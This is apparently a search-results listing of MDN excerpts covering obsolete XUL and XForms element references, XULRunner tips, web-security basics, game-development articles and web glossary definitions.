ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
param - Archive of obsolete content
ArchiveMozillaXULparam
type type: one of the values below the type of the parameter's value integer 32 bit integer int64 64 bit integer double double-precision floating-point number string string literal, the default value properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
preference - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata events change when a preference value changes, an onchange/change event is fired on the <preference> element.
prefpane - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata events paneload this event is fired on the pane element when the pane is fully loaded (e.g.
scrollbar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
splitter - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
<statusbarpanel> - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
tab - Archive of obsolete content
ArchiveMozillaXULtab
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata notes note: prior to gecko 1.9, disabling tabs fails; even while disabled, they still accept events.
tabbox - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements tabs, tab, tabpanels, tabpanel.
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata advanceselectedtab( dir, wrap ) return type: no return value if the argument dir is set to 1, the currently selected tab changes to the next tab.
textbox - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
timepicker - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsidomxulcontrolelement ...
toolbar - Archive of obsolete content
d methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata style classes chromeclass-toolbar when this class is used, the toolbar will be hidden when a window is opened by setting the toolbar option to no in the window.open method.
toolbarbutton - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements toolbar, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider, nsidomxulbuttonelement ...
tooltip - Archive of obsolete content
hods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
window - Archive of obsolete content
as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata see also: dom window object methods note the error message "xml parsing error:...
wizard - Archive of obsolete content
inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata « xul reference home advance( pageid ) return type: no return value call this method to go to the next page.
wizardpage - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentpositio...
...n, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related wizard ...
XULRunner tips - Archive of obsolete content
or id (inspector@mozilla.org) containing one line of text -- the exact path to the root directory of dom inspector (where the install.rdf is) like this one: /home/username/.mozilla/firefox/numbersandletters/extensions/inspector@mozilla.org/ now create a javascript file with the following code and include it in the main window of your application: function startdomi() { // load the window datasource so that browser windows opened subsequent to dom // inspector show up in the dom inspector's window list.
... var windowds = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"] .getservice(components.interfaces.nsiwindowdatasource); var tmpnamespace = {}; var sl = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .createinstance(components.interfaces.mozijssubscriptloader); sl.loadsubscript("chrome://inspector/content/hooks.js", tmpnamespace); tmpnamespace.inspectdomdocument(document); } now create a hook in your application window to start dom inspector, like this one: <button label="start inpector" oncommand="startdomi()"/> start your application and dom inspector will be installed.
nsIContentPolicy - Archive of obsolete content
aextra an optional argument, pass-through for non-gecko callers to pass extra data to callees.
... aextra an optional argument, pass-through for non-gecko callers to pass extra data to callees.
2006-10-27 - Archive of obsolete content
discussions importing outlook address files a discussion was started to attempt the export of outlook datae from ms outlook.
... storage calendar optimization a general discussion on optimization of widgets, java and the core of calendar's database.
NPString - Archive of obsolete content
note: whenever an npstring owns its string data and the data may be released through a call to npn_releasevariantvalue(), the string data must be allocated using npn_memalloc().
... syntax typedef struct _npstring { const nputf8 *utf8characters; uint32_t utf8length; } npstring; fields the data structure has the following fields: utf8characters an array of the utf-8 characters comprising the string.
Syndicating content with RSS - Archive of obsolete content
adding the <link> often the data in an rss feed is also made available on an html web page.
... linking from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon.
SAX - Archive of obsolete content
comment and cdata nodes, dtd declarations, and entities).
...alname='" + localname + "', qname='" + qname + "', attributes={" + attrs.join(",") + "}"); }, endelement: function(uri, localname, qname) { print("endelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "'"); }, characters: function(value) { print("characters: " + value); }, processinginstruction: function(target, data) { print("processinginstruction: target='" + target + "', data='" + data + "'"); }, ignorablewhitespace: function(whitespace) { // don't care }, startprefixmapping: function(prefix, uri) { // don't care }, endprefixmapping: function(prefix) { // don't care }, // nsisupports queryinterface: function(iid) { if(!iid.equals(components.interfaces.nsi...
Security Controls - Archive of obsolete content
sensitive data should be protected based on the potential impact of a loss of confidentiality, integrity, or availability.
... for example, sensitive data on a server may be protected from external attack by several controls, including a network-based firewall, a host-based firewall, and os patching.
SSL and TLS - Archive of obsolete content
triple des (data encryption standard) is the second-strongest cipher supported by ssl, but it is not as fast as rc4.
... using ecc elliptic curve cryptography (ecc) is a cryptographic system that uses elliptic curves to create keys for encrypting data.
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
... a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and send data.
Building a Theme - Archive of obsolete content
--> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>29.0</em:minversion> <em:maxversion>39.*</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my theme</em:name> <em:internalname>sample</em:internalname> <em:description>a test extension</em:description> <em:creator>your name here</em:creator> <em:homepageurl>http://www.example.com/</em:homepageurl> </description> </rdf> sample@example.net - the id of the extension.
... thirdly, the type of data being requested.
Using JavaScript Generators in Firefox - Archive of obsolete content
function closegenerator() { settimeout(function() { generator.close(); }, 0); } // our main steps function databaseoperation() { mozindexeddb.open("mytestdatabase").onsuccess = grabevent; var event = yield; var db = event.target.result; if (db.version != "1.0") { db.setversion("1.0").onsuccess = grabevent; event = yield; var transaction = event.transaction; db.createobjectstore("stuff"); transaction.oncomplete = grabevent; yield; } db.transaction(["stuff"]).objectst...
... yield; } generator = databaseoperation(); generator.next(); ...
ArrayBuffer.transfer() - Archive of obsolete content
the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
...this is not the exact equivalent of this api because browsers that natively support it are be able to internally use the c++ function realloc() which extends the length of the memory and only copies it to a new location as-needed as opposed to the following pollyfill which always copies the whole thing to a new space of memory, but this function transfers data from one arraybuffer to another arraybuffer.
JSObject - Archive of obsolete content
any javascript data brought into java is converted to java data types.
...see the core javascript 1.5 guide for more information about data type conversions.
Mozilla XForms Specials - Archive of obsolete content
getting to instance element from a data node in the xforms 1.0 specification there is no way to get to the instance element from an instance data node.
...for security reasons, it is not per default possible for an xforms to submit data to another domain.
RFE to the Custom Controls - Archive of obsolete content
output that shows the dom if output contains cdata section or text node and its data is any mozilla known language like xhtml/xul/svg then output should parse and display it (see bug 316817).
... output should show data in current locale format the bug 331585 address the issue.
XForms Group Element - Archive of obsolete content
attributes single-node binding type restrictions the group element can be bound to a node containing data of any type.
... actually, the group element doesn't interact with the data in the bound node.
XForms Label Element - Archive of obsolete content
the label text can be specified in instance data, in a remote document, or as inline text.
... representations the xforms label element is represented by the text retrieved from instance data, a document or the label element's own inline content.
XForms Select Element - Archive of obsolete content
the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available choices to be obtained from an xforms model.
...characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select ref="/data/values" appearance="full"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</xf:value> </xf:item> </xf:choices> <xf:choices> ...
XForms Select1 Element - Archive of obsolete content
the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available choices to be obtained from an xforms model.
...characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported selection="open" attribute isn't supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select1 ref="/data/values"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</xf:value> </xf:item> </xf:choices> <xf:choices> <xf:label>red ...
XForms Submit Element - Archive of obsolete content
type restrictions the submit element can be bound to a node containing data of any type.
... actually, the submit element doesn't interact with the data in the bound node.
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
... actually, the trigger element doesn't interact with the data in the bound node.
Window: devicelight event - Archive of obsolete content
the devicelight event is fired when fresh data is available from a light sensor.
... bubbles no cancelable no interface sensorcallback target defaultview (window) other properties property type description value read only double (float) the sensor data for ambient light in lux.
Describing microformats in JavaScript - Archive of obsolete content
datatype the type of data contained by the property.
... custom custom data a simple example the hcard microformat for defining contact information makes use of the adr microformat to define an address.
Displaying a graphic with audio samples - Archive of obsolete content
true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32a...
... draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> ...
Windows Media in Netscape - Archive of obsolete content
in ie, a named html element such as a div may be given to the windows media player control and it will be automatically updated with caption data.
...se if (window.xmlhttprequest) { req = new xmlhttprequest(); } // req can be used in a cross-browser way -- the actual objects are similar // caveat emptor: look out for the case of methods and properties -- ie uses // capital letters where gecko uses lowercase other popular uses of microsoft's msxml objects are for in-memory manipulation of xml documents via xslt, perhaps to construct dynamic data for the windows media player.
Archive of obsolete content
rss really simple syndication (rss) is a popular html-like xml-based data format used for syndication.
... xquery xquery is a w3c standard language which is meant to be for xml what sql is for relational data--i.e., the ability to search, sort, extract, and remold data.
bootstrap.js - Extensions
function startup(data, reason) { /// bootstrap data structure @see /docs/extensions/bootstrapped_extensions#bootstrap_data /// string id /// string version /// nsifile installpath /// nsiuri resourceuri /// /// reason types: /// app_startup /// addon_enable /// addon_install /// addon_upgrade /// addon_downgrade } function shutdown(data, reason) { /// bootstrap data structure @see...
... /docs/extensions/bootstrapped_extensions#bootstrap_data /// string id /// string version /// nsifile installpath /// nsiuri resourceuri /// /// reason types: /// app_shutdown /// addon_disable /// addon_uninstall /// addon_upgrade /// addon_downgrade } function install(data, reason) { /// bootstrap data structure @see /docs/extensions/bootstrapped_extensions#bootstrap_data /// string id /// string version /// nsifile installpath /// nsiuri resourceuri /// /// reason types: /// addon_install /// addon_upgrade /// addon_downgrade } function uninstall(data, reason) { /// bootstrap data structure @see /docs/extensions/bootstrapped_extensions#bootstrap_data /// string id ...
Index - Game development
38 webrtc data channels api, games, needscontent, network, p2p, webrtc, data channels the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
... this article explains more about this, and shows you how to use libraries to implement data channels in your game.
2D collision detection - Game development
this can be implemented with a spacial data structure that will give you a rough idea of where the entity exists and what exist around it.
... some examples of spacial data structures are quad trees, r-trees or a spacial hashmap.
WebVR — Virtual Reality for the Web - Game development
the webvr api the webvr api is the central api for capturing information on vr devices connected to a computer and headset position/orientation/velocity/acceleration information, and converting that into useful data you can use in your games and other applications.
... using the webvr api the webvr api is based on two concepts — sending stereoscopic images to both lenses in your headset and receiving positional data for your head from the sensor, and those two are handled by hmdvrdevice (head-mounted display virtual reality device) and positionsensorvrdevice.
Square tilemaps implementation: Static maps - Game development
the tilemap data structure to store that map data, we can use a plain object or a custom class.
... tiles contains the actual visual map data.
Tiles and tilemaps overview - Game development
the tilemap data structure it is common to group all the information needed to handle tilemaps into the same data structure or object.
... these data objects (map object example) should include: tile size: the size of each tile in pixels across / pixels down.
Visual JS GE - Game development
it takes data from the system folder lib/visual_scripts/ and generates your code.
... resource objects contain the path data for all your images.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
... learn more technical reference fetching data from the server (learning area) synchronous ...
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, bigint is a numeric data type that can represent integers in the arbitrary precision format.
... learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: bigint the javascript global object bigint ...
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
in computer science, a boolean is a logical data type that can have only the values true or false.
... learn more general knowledge boolean on wikipedia technical reference the javascript global object: boolean javascript data types and data structures ...
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
... crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
for example, imagine a script used to validate user data from a webpage form.
... the script submits validated data, but if the user, say, leaves a required field empty, the script prompts them to fill it in.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
there are two types of ddos attacks: a network-centric attack (which overloads a service by using up bandwidth) and an application-layer attack (which overloads a service or database with application calls).
... the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service").
Encapsulation - MDN Web Docs Glossary: Definitions of Web-related terms
encapsulation is the packing of data and functions into one component (for example, a class) and then controlling access to that component to make a "blackbox" out of the object.
... because of this, a user of that class only needs to know its interface (that is, the data and functions exposed outside the class), not the hidden implementation.
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossless compression is a class of data compression algorithms that allows the original data to be perfectly reconstructed from the compressed data.
...examples of lossless compression include gzip, brotli, webp, and png, lossy compression, on the other hand, uses inexact approximations by discarding some data from the original file, making it an irreversible compression method.
Middleware - MDN Web Docs Glossary: Definitions of Web-related terms
middleware is a (loosly defined) term for any software or service that enables the parts of a system to communicate and manage data.
... in server-side web application frameworks, the term is often more specifically used to refer to pre-built software components that can be added to the framework's request/response processing pipeline, to handle tasks such as database access.
Modem - MDN Web Docs Glossary: Definitions of Web-related terms
a modem ("modulator-demodulator") is a device that converts digital information to analog signals and vice-versa, for sending data through networks.
... different kinds are used for different networks: dsl modems for telephone wires, wifi modems for short-range wireless radio signals, 3g modems for cellular data towers, and so on.
Number - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754).
... learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: number the javascript global object number ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
object refers to a data structure containing data and instructions for working with the data.
... learn more general knowledge object-oriented programming on wikipedia object in the javascript reference object data structures in javascript ...
Polymorphism - MDN Web Docs Glossary: Definitions of Web-related terms
polymorphism is the presentation of one interface for multiple data types.
... in the case of oop, by making the class responsible for its code as well as its own data, polymorphism can be achieved in that each class has its own function that (once called) behaves properly for any object.
RTCP (RTP Control Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
